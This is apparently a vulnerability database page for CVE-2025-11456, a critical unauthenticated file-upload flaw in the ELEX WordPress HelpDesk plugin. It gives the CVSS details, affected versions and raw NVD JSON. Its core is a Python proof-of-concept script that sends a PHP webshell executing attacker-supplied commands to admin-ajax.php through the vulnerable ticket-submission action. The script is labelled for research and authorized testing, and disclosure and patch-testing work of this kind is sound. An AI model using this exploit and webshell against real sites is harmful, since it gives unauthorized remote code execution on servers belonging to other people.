Security Vulnerability Report
中文
CVE-2025-11456 CVSS 9.8 CRITICAL

CVE-2025-11456

Published: 2025-11-21 08:15:49
Last Modified: 2025-11-26 16:51:45

Description

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the eh_crm_new_ticket_post() function in all versions up to, and including, 3.3.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:* - VULNERABLE
ELEX HelpDesk & Customer Ticketing System <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11456 PoC - Arbitrary File Upload in ELEX WordPress HelpDesk Plugin # Target: WordPress site with ELEX HelpDesk plugin <= 3.3.1 # Vulnerability: Missing file type validation in eh_crm_new_ticket_post() def upload_shell(target_url, webshell_content): """ Upload arbitrary file to target server via vulnerable endpoint """ # Construct upload endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare malicious file files = { 'file': ('shell.php', webshell_content, 'application/x-php') } # Form data for ticket submission data = { 'action': 'eh_crm_new_ticket_post', 'ticket_subject': 'Test Ticket', 'ticket_body': 'This is a test ticket', 'ticket_priority': 'low' } try: # Send malicious upload request response = requests.post(upload_url, data=data, files=files, timeout=10) if response.status_code == 200: print('[+] File upload request sent successfully') print(f'[+] Response: {response.text}') return True else: print(f'[-] Request failed with status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') # PHP webshell content webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' print('[*] CVE-2025-11456 PoC - ELEX HelpDesk Arbitrary File Upload') print(f'[*] Target: {target}') upload_shell(target, webshell)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11456", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:48.650", "lastModified": "2025-11-26T16:51:45.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the eh_crm_new_ticket_post() function in all versions up to, and including, 3.3.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.3.2", "matchCriteriaId": "6D3C90F8-FBE9-409A-A29E-3D775928E2BF"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-three.php?rev=3332203", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3399391/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-three.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://wordpress.org/plugins/elex-helpdesk-customer-support-ticket-system/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a6f362c1-fe64-4be1-9713-14c0561a59ce?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}